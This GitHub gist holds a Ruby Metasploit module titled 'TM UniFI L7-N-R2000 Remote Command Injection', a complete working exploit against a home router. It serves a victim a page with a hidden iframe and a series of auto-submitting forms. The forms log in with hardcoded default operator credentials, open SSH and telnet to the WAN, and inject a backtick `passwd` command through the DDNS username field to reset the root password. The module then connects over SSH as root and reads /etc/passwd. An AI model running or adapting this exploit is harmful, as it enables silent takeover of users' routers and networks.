Skip to content

Instantly share code, notes, and snippets.

@RamadhanAmizudin
Created September 21, 2018 11:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RamadhanAmizudin/f9a640e92d822cab9bd171f045f80e72 to your computer and use it in GitHub Desktop.
Save RamadhanAmizudin/f9a640e92d822cab9bd171f045f80e72 to your computer and use it in GitHub Desktop.
TM UniFI L7-N-R2000 Remote Command Injection
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::HTML
# Global variable kot, -.-
attr_accessor :ssh_socket
def initialize(info={})
super(update_info(info,
'Name' => 'TM UniFI L7-N-R2000 Remote Command Injection',
'Description' => %q{
This module do a remote command Injection on TM UniFI L7-N-R2000 Router
},
'Author' => ['Ahmad Ramadhan Amizudin'],
'License' => 'MyCERT Proprietary',
'Version' => '1.0.0',
'References' => [
['NA', 'NA'],
],
'Platform' => ['Linux', 'unix'],
'Privileged' => false,
'DefaultOptions'=> {
'DisablePayloadHandler' => true
},
'Targets' => [
['TM UniFI L7-N-R2000', {}, ]
],
'DefaultTarget' => 0,
'DisclosureDate'=> 'none'
))
register_options([
OptString.new('TESTLOL', [ false, "WAT", 'DUNNOLOL']),
OptBool.new('DEV', [true, "If in development enviroment", true])
], self.class)
end
# Di ambil dari:
# https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_login.rb
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ssh/sshexec.rb
def ssh_login(host, user, pass, port)
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:disable_agent => true,
:password => pass,
:config => false
}
begin
self.ssh_socket = Net::SSH.start(host, user, opt_hash)
rescue Rex::ConnectionError, Rex::AddressInUse
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
if not self.ssh_socket
fail_with(Failure::Unknown)
end
return
end
def ssh_exec(cmd)
begin
Timeout.timeout(3) do
self.ssh_socket.exec!("#{cmd}\n").to_s
end
rescue ::Exception
end
end
def generate_html(html)
html = my_html_header + html + my_html_footer
return html
end
def my_sploits_js(cli)
js = <<-EOS
var L7Exploit = {
CurrentExploit: 1,
MaxExploit: 4,
gateway_ip: '192.168.0.1',
setGateway: function(ip) {
L7Exploit.gateway_ip = ip;
},
getGateway: function() {
return L7Exploit.gateway_ip;
},
Redirect: function() {
if(L7Exploit.CurrentExploit >= L7Exploit.MaxExploit) {
// Takyah buat apa
} else {
var ExploitID = L7Exploit.CurrentExploit += 1;
L7Exploit.CurrentExploit = ExploitID;
document.getElementById("iframe_sploit").src = '#{get_resource.chomp('/')}/exploit_' + ExploitID + '.html';
}
}
};
EOS
send_response(cli, js, { 'Content-Type' => 'text/plain' })
end
def my_html_header
return <<-EOS
<html>
<head>
<title>L7NR2000 Exploit</title>
<script type="text/javascript" src="#{get_resource.chomp('/')}/sploits.js"></script>
</head>
<body>
EOS
end
def my_html_footer
return %q{
</body>
</html>
}
end
def exploit_1(cli, request)
myform = <<-FORM
<script type="text/javascript">
window.onload = function() {
document.getElementById("loginform_lol").submit();
};
</script>
<form id="loginform_lol" action="http://192.168.0.1/login.ccp" method="post">
<input type="hidden" name="html_response_page" value="login.asp" />
<input type="hidden" name="login_name" value="" />
<input type="hidden" name="login_pass" value="" />
<input type="hidden" name="username" value="b3BlcmF0b3IA" />
<input type="hidden" name="password" value="aDU2NlVuaUZp" />
<input type="hidden" name="graph_id" value="" />
<input type="hidden" name="alert_id" value="" />
<input type="hidden" name="login_n" value="operator" />
<input type="hidden" name="log_pass" value="h566UniFi" />
<input type="hidden" name="graph_code" value="" />
</form>
FORM
print_status("Serving Exploit Page 1")
send_response_html(cli, generate_html(myform))
end
def exploit_2(cli, request)
myform = <<-FORM
<Script type="text/javascript">
window.onload = function() {
document.getElementById("enable_remote_mgmt").submit();
};
</script>
<form id="enable_remote_mgmt" action="http://192.168.0.1/get_set.ccp" method="post">
<input type="hidden" name="ccp_act" value="set" />
<input type="hidden" name="ccpSubEvent2" value="CCP_SUB_REMOTEMNGR" />
<input type="hidden" name="nextPage" value="tools_admin.asp" />
<input type="hidden" name="adminCfg_SystemName_1.1.0.0.0" value="L7NR2000" />
<input type="hidden" name="adminCfg_GraphAuthenticationEnable_1.1.0.0.0" value="0" />
<input type="hidden" name="adminCfg_HttpsServerEnable_1.1.0.0.0" value="0" />
<input type="hidden" name="adminCfg_RemoteManagementEnable_1.1.0.0.0" value="1" />
<input type="hidden" name="adminCfg_RemoteAdminHttpPort_1.1.0.0.0" value="8080" />
<input type="hidden" name="adminCfg_RemoteAdminHttpsPort_1.1.0.0.0" value="" />
<input type="hidden" name="adminCfg_RemoteAdminHttpsEnable_1.1.0.0.0" value="" />
<input type="hidden" name="adminCfg_RemoteAdminInboundFilter_1.1.0.0.0" value="255" />
<input type="hidden" name="adminCfg_Detail_1.1.0.0.0" value="Allow All" />
<input type="hidden" name="loginInfo_Username_1.1.1.0.0" value="admin" />
<input type="hidden" name="loginInfo_Username_1.1.2.0.0" value="operator" />
<input type="hidden" name="loginInfo_Password_1.1.1.0.0" value="WDB8WvbXdHtZyM8Ms2RENgHlacJghQyGWDB8WvbXdHtZyM8Ms2RENgHlacJghQyG" />
<input type="hidden" name="loginInfo_Password_1.1.2.0.0" value="WDB8WvbXdHtZyM8Ms2RENgHlacJghQyGWDB8WvbXdHtZyM8Ms2RENgHlacJghQyG" />
<input type="hidden" name="dhcpCfg_Name_1.1.1.1.0" value="L7NR2000" />
<input type="hidden" name="dhcpplusCfg_Name_1.1.1.1.0" value="L7NR2000" />
<input type="hidden" name="adminCfg_RemoteAdminSSHFromLan_1.1.0.0.0" value="1" />
<input type="hidden" name="adminCfg_RemoteAdminSSHFromWan_1.1.0.0.0" value="1" />
<input type="hidden" name="adminCfg_RemoteAdminSSHPort_1.1.0.0.0" value="22" />
<input type="hidden" name="adminCfg_RemoteAdminTelnetFromLan_1.1.0.0.0" value="1" />
<input type="hidden" name="adminCfg_RemoteAdminTelnetFromWan_1.1.0.0.0" value="1" />
<input type="hidden" name="adminCfg_RemoteAdminTelnetPort_1.1.0.0.0" value="23" />
</form>
FORM
print_status("Serving Exploit Page 2")
send_response_html(cli, generate_html(myform))
end
def exploit_3(cli, request)
myform = <<-FORM
<Script type="text/javascript">
window.onload = function() {
document.getElementById("set_pwroot").submit();
};
</script>
<form id="set_pwroot" action="http://192.168.0.1/get_set.ccp" method="post">
<input type="hidden" name="ccp_act" value="set" />
<input type="hidden" name="ccpSubEvent" value="CCP_SUB_DDNS" />
<input type="hidden" name="nextPage" value="tools_ddns.asp" />
<input type="hidden" name="d_enable" value="1" />
<input type="hidden" name="ddnsCfg_DDNSEnable_1.1.0.0.0" value="1" />
<input type="hidden" name="ddnsCfg_DDNSServer_1.1.0.0.0" value="www.dlinkddns.com" />
<input type="hidden" name="DDNSServer_sel" value="Select+Dynamic+DNS+Server" />
<input type="hidden" name="ddnsCfg_HostName_1.1.0.0.0" value="Select+Dynamic+DNS+Server" />
<input type="hidden" name="ddnsCfg_HostName_1.1.0.0.0" value="aaaa" />
<input type="hidden" name="ddnsCfg_Username_1.1.0.0.0" value="`passwd -pqwe123 root`" />
<input type="hidden" name="ddnsCfg_Password_1.1.0.0.0" value="WDB8WvbXdHtZyM8Ms2RENgHlacJghQyGWDB8WvbXdHtZyM8Ms2RENgHlacJghQyG" />
<input type="hidden" name="password2" value="WDB8WvbXdHtZyM8Ms2RENgHlacJghQyGWDB8WvbXdHtZyM8Ms2RENgHlacJghQyG" />
<input type="hidden" name="ddnsCfg_Timeout_1.1.0.0.0" value="576" />
</form>
FORM
print_status("Serving Exploit Page 3")
send_response_html(cli, generate_html(myform))
end
def exploit_4(cli, request)
print_status("Serving Exploit Page 4")
print_status("Establish ssh connection...")
if datastore['dev'] == true
ip = '192.168.0.1'
else
ip = cli.peerhost
end
ssh_login(ip, 'root', 'qwe123', 22)
res = ssh_exec('cat /etc/passwd')
print_status("ssh_exec: cat /etc/passwd, result: #{res}")
send_response_html(cli, generate_html("ayam"))
end
def my_landing_page(cli, request)
html = <<-EOS
<h2>Hi #{cli.peerhost}, I just met you, this is crazy, let me enter maybe.</h2>
<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<script type="text/javascript">
setInterval(L7Exploit.Redirect, 3000);
</script>
<center>
<iframe id="iframe_sploit" src="#{get_resource.chomp('/')}/exploit_1.html" width="1" height="1"></iframe>
</center>
EOS
print_status("Serving landing page")
send_response_html(cli, generate_html(html))
end
def on_request_uri(cli, request)
# print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => (#{request.uri})")
case request.uri
when /sploits\.js$/
my_sploits_js(cli)
when /exploit_1\.html$/
exploit_1(cli, request)
when /exploit_2\.html$/
exploit_2(cli, request)
when /exploit_3\.html$/
exploit_3(cli, request)
when /exploit_4\.html$/
exploit_4(cli, request)
else
my_landing_page(cli, request)
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment